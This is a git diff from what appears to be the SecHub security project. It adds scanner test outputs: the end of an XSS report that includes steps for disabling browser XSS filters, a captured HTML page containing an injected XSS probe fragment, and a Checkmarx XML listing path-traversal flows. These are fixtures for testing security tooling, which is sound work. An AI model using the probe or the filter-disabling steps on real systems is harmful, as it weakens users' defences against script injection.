+ + + The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, output should be encoded according to the output location and context. For example, if the output goes in to a JavaScript block within the HTML document, then output needs to be encoded accordingly. Encoding can get very complex, therefore it's strongly recommended to use an encoding library such as OWASP ESAPI and Microsoft Anti-cross-site scripting.]]> + ]]> + ]]> +

Generated XSS exploit might not work due to browser XSS filtering. Please follow the guidelines below in order to disable XSS filtering for different browsers. Also note that;

  • XSS filtering is a feature that's enabled by default in some of the modern browsers. It should only be disabled temporarily to test exploits and should be reverted back if the browser is actively used other than testing purposes.
  • Even though browsers have certain checks to prevent Cross-site scripting attacks in practice there are a variety of ways to bypass this mechanism therefore a web application should not rely on this kind of client-side browser checks.

Chrome

  • Open command prompt.
  • Go to folder where chrome.exe is located.
  • Run the command chrome.exe --args --disable-xss-auditor

Internet Explorer

  • Click Tools->Internet Options and then navigate to the Security Tab.
  • Click Custom level and scroll towards the bottom where you will find that Enable XSS filter is currently Enabled.
  • Set it to disabled. Click OK.
  • Click Yes to accept the warning followed by Apply.

Firefox

  • Go to about:config in the URL address bar.
  • In the search field, type urlbar.filter and find browser.urlbar.filter.javascript.
  • Set its value to false by double clicking the row.
]]>
+ + + +
+
+ +
+ +
+ + +
+
+
+
+ + +
+
+ + + + + +

About

+

+ Hello + '"--> +

+

+ Bitcoin is controlled by all Bitcoin users around the world. Developers are improving the software but they can't force a change in the rules of the Bitcoin protocol because all users are free to choose what software they use. In order to stay compatible with each other, all users need to use software complying with the same rules. Bitcoin can only work decently with a complete consensus between all users. Therefore, all users and developers have strong incentives to adopt and protect this consensus. + + +

+Mission +
    +
  1. Inform users to protect them from common mistakes.
  2. +
  3. Give an accurate description of Bitcoin properties, potential uses and limitations.
  4. +
  5. Display transparent alerts and events regarding the Bitcoin network.
  6. +
  7. Invite talented humans to help with Bitcoin development at many levels.
  8. +
  9. Provide visibility to the large scale Bitcoin ecosystem.
  10. +
  11. Improve Bitcoin worldwide accessibility with internationalization.
  12. +
  13. Remain a neutral informative resource about Bitcoin.
  14. +
+ + + +
+

Our Teams

+
+
    + +
+
+
+
+
+
+ +
+

Follow us

+ +
+ +
+
+
+ + + + + +
diff --git a/sechub-other/spdx/template/spdx_template_doubleslash.txt b/sechub-other/spdx/template/spdx_template_doubleslash.txt new file mode 100644 index 0000000000..8096cb4602 --- /dev/null +++ b/sechub-other/spdx/template/spdx_template_doubleslash.txt @@ -0,0 +1 @@ +// SPDX-License-Identifier: MIT diff --git a/sechub-other/spdx/template/spdx_template_hash.txt b/sechub-other/spdx/template/spdx_template_hash.txt new file mode 100644 index 0000000000..548d2d447d --- /dev/null +++ b/sechub-other/spdx/template/spdx_template_hash.txt @@ -0,0 +1 @@ +# SPDX-License-Identifier: MIT diff --git a/sechub-other/spdx/template/spdx_template_md.txt b/sechub-other/spdx/template/spdx_template_md.txt new file mode 100644 index 0000000000..b479c6d379 --- /dev/null +++ b/sechub-other/spdx/template/spdx_template_md.txt @@ -0,0 +1 @@ + diff --git a/sechub-other/testoutput/README.md b/sechub-other/testoutput/README.md new file mode 100644 index 0000000000..5436825913 --- /dev/null +++ b/sechub-other/testoutput/README.md @@ -0,0 +1,6 @@ + +About this folder +================= + +Inside this folder you will find some test outputs from different +security-products. diff --git a/sechub-other/testoutput/checkmarx-example1.xml b/sechub-other/testoutput/checkmarx-example1.xml new file mode 100644 index 0000000000..ebc339bcb4 --- /dev/null +++ b/sechub-other/testoutput/checkmarx-example1.xml @@ -0,0 +1,17171 @@ + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 35 + 1 + args + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 33 + 17 + 2 + args + + 4 + + + 33 + String path = args[0]; + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 33 + 10 + 3 + path + + 4 + + + 33 + String path = args[0]; + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 38 + 4 + path + + 4 + + + 34 + File documentsGenFolder = new File(path); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 29 + 5 + File + + 3 + + + 34 + File documentsGenFolder = new File(path); + + + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 23 + 1 + File + + 3 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 8 + 2 + secHubServer + + 12 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 272 + 8 + 3 + secHubServer + + 12 + + + 272 + if (!secHubServer.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 23 + 4 + secHubServer + + 12 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 5 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 6 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 7 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 22 + 8 + assertExists + + 1 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 56 + 9 + ensureSecHubServerFolder + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 10 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 11 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 12 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 13 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 54 + 14 + ensureKubernetesFolder + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 15 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 16 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 17 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 18 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 19 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 20 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 21 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 22 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 23 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 24 + envFolder + + 9 + + + 161 + return envFolder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 25 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 26 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 27 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 28 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 29 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 30 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 31 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 32 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 33 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 34 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 35 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 23 + 1 + File + + 3 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 8 + 2 + secHubServer + + 12 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 272 + 8 + 3 + secHubServer + + 12 + + + 272 + if (!secHubServer.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 23 + 4 + secHubServer + + 12 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 5 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 6 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 7 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 22 + 8 + assertExists + + 1 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 56 + 9 + ensureSecHubServerFolder + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 10 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 11 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 12 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 13 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 54 + 14 + ensureKubernetesFolder + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 15 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 16 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 17 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 22 + 18 + assertExists + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 72 + 19 + ensureKubernetesGenFolder + + 1 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 20 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 21 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 22 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 23 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 24 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 25 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 26 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 27 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 28 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 29 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 19 + 1 + File + + 3 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 4 + 2 + secHubServer + + 12 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 23 + 3 + secHubServer + + 12 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 4 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 5 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 6 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 22 + 7 + assertExists + + 1 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 56 + 8 + ensureSecHubServerFolder + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 9 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 10 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 11 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 12 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 54 + 13 + ensureKubernetesFolder + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 14 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 15 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 16 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 17 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 18 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 19 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 20 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 21 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 22 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 23 + envFolder + + 9 + + + 161 + return envFolder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 24 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 25 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 26 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 27 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 28 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 29 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 30 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 31 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 32 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 33 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 34 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 19 + 1 + File + + 3 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 4 + 2 + secHubServer + + 12 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 23 + 3 + secHubServer + + 12 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 4 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 5 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 6 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 22 + 7 + assertExists + + 1 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 56 + 8 + ensureSecHubServerFolder + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 9 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 10 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 11 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 12 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 54 + 13 + ensureKubernetesFolder + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 14 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 15 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 16 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 22 + 17 + assertExists + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 72 + 18 + ensureKubernetesGenFolder + + 1 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 19 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 20 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 21 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 22 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 23 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 24 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 25 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 26 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 27 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 28 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 23 + 1 + File + + 3 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 5 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 54 + 6 + ensureKubernetesFolder + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 7 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 8 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 9 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 10 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 11 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 12 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 13 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 14 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 15 + envFolder + + 9 